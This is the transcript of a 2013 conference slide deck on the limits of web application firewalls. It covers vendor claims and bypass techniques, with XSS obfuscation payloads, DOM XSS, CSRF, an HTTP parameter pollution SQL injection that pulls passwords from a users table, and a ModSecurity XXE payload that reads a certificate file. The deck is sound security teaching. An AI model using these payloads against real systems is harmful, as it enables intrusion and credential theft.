The document discusses how web application firewalls (WAFs) can be bypassed in various ways such as through obfuscation, parameter pollution, and vulnerabilities in the WAF itself, and that WAFs have limitations in fully protecting applications since they do not understand the application logic or deal with issues like cross-site request forgery.

1. “We protect you applications”!
“No, you don’t”
Digicomp Hacking Day 2013
May 16th 2013

2. Sven Vetsch
§ Partner & CTO at Redguard AG
§ www.redguard.ch
§ Specialized in Application Security
§ (Web, Web-Services, Mobile, …)
§ Leader OWASP Switzerland
§ www.owasp.org / www.owasp.ch
sven.vetsch@redguard.ch
Twitter: @disenchant_ch / @redguard_ch

3. Sven Vetsch
§ Partner & CTO at Redguard AG
§ www.redguard.ch
§ Specialized in Application Security
§ (Web, Web-Services, Mobile, …)
§ Leader OWASP Switzerland
§ www.owasp.org / www.owasp.ch
sven.vetsch@redguard.ch
Twitter: @disenchant_ch / @redguard_ch

4. Disclaimer
This presentation is focused on classic WAF
functionality so we won’t get into Single-Sign-
On, Content Injection and so on.
All the views in this presentation are my own
and not necessarily those of Redguard AG.

5. Outline
WAF
in
numbers
What
do
vendors
tell
you
Bypassing
techniques

6. Intro
I

7. >80%
of organizations were attacked
successfully at least once in 2011
Perceptions About Network Security - Ponemon Institute© Research Report, 2011

8. Companies hacked in 2012/2013

9. 23%
already experienced a data or
system breach as a result of an
application layer vulnerability
WhiteHat Security – Website Security Statistics Report May 2013

10. … only 29% in banking
55.6%
of all organizations use WAFs
WhiteHat Security – Website Security Statistics Report May 2013

11. WAF Deployment by Industry
WhiteHat Security – Website Security Statistics Report May 2013
29
30
17
30
32
30
50
20
12
10
10
8
43
30
17
30
36
29
17
10
12
Banking
Financial Services
Healthcare
Retail
Technology
Monitoring and actively blocking attacks
Currently only monitoring traffic
Installing and/or configuration mode
No WAF deployed
Don't know

12. WAF usage after a breach
38%
19%
6%
6%
31%
Monitoring and actively blocking attacks
Currently only monitoring traffic
Installing and/or configuration mode
Don't know
No WAF deployed
WhiteHat Security – Website Security Statistics Report May 2013

13. 62%
of attacks can be blocked
by a WAF with default rule sets
NT OBJECTives - Analyzing the Effectiveness of Web Application Firewalls 2011

14. Organizations with a
Web Application Firewall
deployed had
11% more vulnerabilities,
resolved them 8% slower,
and had a
7% lower remediation rate.
WhiteHat Security – Website Security Statistics Report May 2013

15. A WAF makes me
less secure!?

16. § Possible reasons:
§ Insufficient global security processes
§ Rules are not sufficient
§ Not enough resources to manage the WAF
§ WAFs are threated as if they could solve all
problem
§ WAFs are only in monitoring mode instead of
blocking anything
§ …

17. A WAF is a tool,
not a solution

18. Don’t worry, there are also good news

19. By summing all these percentages up
we could safely say that a WAF could
feasible help mitigate the risk of at
least
71%
of all custom web application
vulnerabilities
WhiteHat Security – Website Security Statistics Report May 2012

20. Vendor Claims
II

21. 12 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
21
Vendor Supplied Certificate
“[Product] guarantees security of web
applications.”

22. 12 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
22
Vendor Supplied Certificate
“The [Company] Web Application Firewall
quickly protects web servers from data
breaches and websites from defacement
without administrators waiting for clean code
or even knowing how an application works.”

23. 12 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
23
Vendor Supplied Certificate
“Fully addresses PCI 6.6”

24. 15 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
24
Vendor Supplied Certificate
“Fully addresses PCI 6.6”
Data Security Standard v2
6.6 For public-facing web applications, address new threats and
vulnerabilities on an ongoing basis and ensure these applications are
protected against known attacks by either of the following methods:
• Reviewing public-facing web applications via manual or automated
application vulnerability security assessment tools or methods, at
least annually and after any changes
• Installing a web-application firewall in front of public-facing web
applications

25. 12 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
25
Vendor Supplied Certificate
“Because of its unique blend of HTML and XML
security, the [Company] Web Application Firewall
provides a full compliance solution for the PCI
DSS sections 6.5 and 6.6, which mandate the
implementation of a Web application firewall by
June 30, 2008.”

26. 15 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
26
Vendor Supplied Certificate
“Because of its unique blend of HTML and XML
security, the [Company] Web Application Firewall
provides a full compliance solution for the PCI
DSS sections 6.5 and 6.6, which mandate the
implementation of a Web application firewall by
June 30, 2008.”
Data Security Standard v2
6.5 Develop applications based on secure coding guidelines. Prevent
common coding vulnerabilities in software development processes, to
include the following: [OWASP Top 10]

27. 15 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
27
Vendor Supplied Certificate
The [Product] offers you the following
technical features:
• ...
• Session fixation
• …

28. 12 May 2013
Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch
28
Vendor Supplied Certificate
The [Product] offers you the following
technical features:
• ...
• Session fixation
• …

29. Bypassing WAFs
III

30. Insecure Rules
§ Let’s take the following pseudo rule:
if ($path == "/admin") {
if ($ipaddr == $internal_ipaddr)
[block request]
else
[allow request]
}

31. Insecure Rules
WAF
/admin
192.168.1.42
203.0.113.23

32. Insecure Rules
WAF
/../admin
192.168.1.42
203.0.113.23

33. Insecure Rules
"/admin" == "/admin"
-> true
"/../admin" == "/admin"
-> false

34. XSS – Obfuscation
§ When non-security people talk about XSS
<script>alert("XSS");</script>

35. XSS – Obfuscation
§ When security people talk about XSS
<script>alert(String.fromCharCode(88,
83,83));</script>
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;
&#114;&#105;&#112;&#116;&#58;&#97;&#1
08;&#101;&#114;&#116;&#40;&#39;&#88;&
#83;&#83;&#39;&#41;>

36. XSS – Obfuscation
§ When appsec people talk about XSS
<script>
window[(+{}+[])[-~[]]+(![]+[])[-~-
~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])
[-~[]]+(!![]+[])[+[]]](("XSS"))
</script>

37. XSS – Obfuscation
§ When appsec people talk about XSS
<script>
[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]
+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+
[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+
[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+
[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]
+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([]
[[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+
[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]
((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])
[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+
([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!!
[]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+
[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])
[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+
{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])
[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+…
</script>
Try it yourself: http://patriciopalladino.com/files/hieroglyphy/

38. DOM-based XSS
<!DOCTYPE html>
<html>
<body>
Hello <span id="name"></span>
<script>
document.getElementById("name").innerHTML =
document.location.hash.slice(1);
</script>
</body>
</html>

39. DOM-based XSS
<!DOCTYPE html>
<html>
<body>
Hello <span id="name"></span>
<script>
document.getElementById("name").innerHTML =
document.location.hash.slice(1);
</script>
</body>
</html>

40. DOM-based XSS
http://www.example.com/#John
http://www.example.com/#<h1>John</h1>

41. DOM-based XSS
http://www.example.com/#<img src="x"
onerror="alert(1)"/>

42. A XSS attack like the one showed
neverhits the server
… so screw your WAF

43. Cross-Site Request Forgery (CSRF)
http://www.evil.com
http://www.nice.com
1
3
2
<img
src=“http://
www.nice.com
/buy?
article=123” />

44. Without understanding the
application or modifying the HTTP
response, a WAF
can’t protect
against CSRF
attacks.

45. … my experience would
be more around 50%
11.2%
of all application are vulnerable
to CSRF attacks
WhiteHat Security – Website Security Statistics Report May 2013

46. HTTP Parameter Pollution (HPP)
http://www.google.com/?
q=<script>&q=alert("XSS")&q=</script>

47. HTTP Parameter Pollution (HPP)
http://www.example.com/?id=1&id=2
Technology
Behavior
Result
ASP
/
ASP.NET
ConcatenaJon
id=1,2
PHP
Last
occurrence
id=2
Java
First
occurrence
id=1

48. HTTP Parameter Pollution (HPP)
§ Let’s have a look at the following simple
pseudo rule against SQL Injection attacks:
if $param_id.match(/.*select.*from.*/)
[block request]

49. HTTP Parameter Pollution (HPP)
http://www.example.com/page.aspx?id=123
http://www.example.com/page.aspx?
id=123;select%201,password%20from%20
users;%20--
http://www.example.com/page.aspx?
id=123;&id=select%201&id=password%20from
%20users;%20--

50. HTTP Parameter Pollution (HPP)
http://www.example.com/page.aspx?
id=123;&id=select%201&id=password%20from
%20users;%20--
§ id = 123;
§ id = select 1
§ id = password from users; --
-> 123; select 1,password from users; --

51. WAF rules are
not
platform independent

52. More things your WAF isn’t good at
§ Anti-Automation and process validation
§ Understanding application logic
§ Insufficient Authentication & Authorization
§ Brute Force Attacks
§ Session Fixation
§ Anomaly Detection
§ Improper Filesystem Permissions
§ Securing client side running code
§ …

53. Hacking a WAF (for fun and profit)
§ In the past, WAFs also suffered from
vulnerabilities like:
§ Filter Bypasses (a lot of them!!!)
§ XSS in their web admin interface
§ CSRF in their web admin interface
§ Default SSH root passwords
§ Information Disclosure about the LAN/DMZ
§ Arbitrary remote command execution
§ XML External Entity (XXE) Attacks

54. Hacking a WAF (for fun and profit)
Example scenario based on ModSecurity
XML External Entity (XXE) vulnerability
CVE-2013-1915

55. Hacking a WAF (for fun and profit)
WAF

56. Hacking a WAF (for fun and profit)
/etc/apache2/ssl/cert.pem
WAF

57. Hacking a WAF (for fun and profit)
Request:
Response:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/apache2/ssl/cert.pem"
>]><foo>&xxe;</foo>

58. Hacking a WAF (for fun and profit)
WAF

59. Wrap Up
IV

60. Conclusion
WAFs …
§ are good – at least they can help you
§ must be tuned by a trained professional
§ can’t compensate insecure code
§ aren’t an alternative to patching vulnerabilities
§ can generate a lot of profit for vendors so be
careful about what features you really need
and how well they perform
§ don’t solve all your appsec problems

61. We should accept WAFs for what
they really are: a method of
increasing the cost of attacks, but
not necessarily one that might
repel every attacker.
Ivan Ristic

62. Q & A
sven.vetsch@redguard.ch
@disenchant_ch / @redguard_ch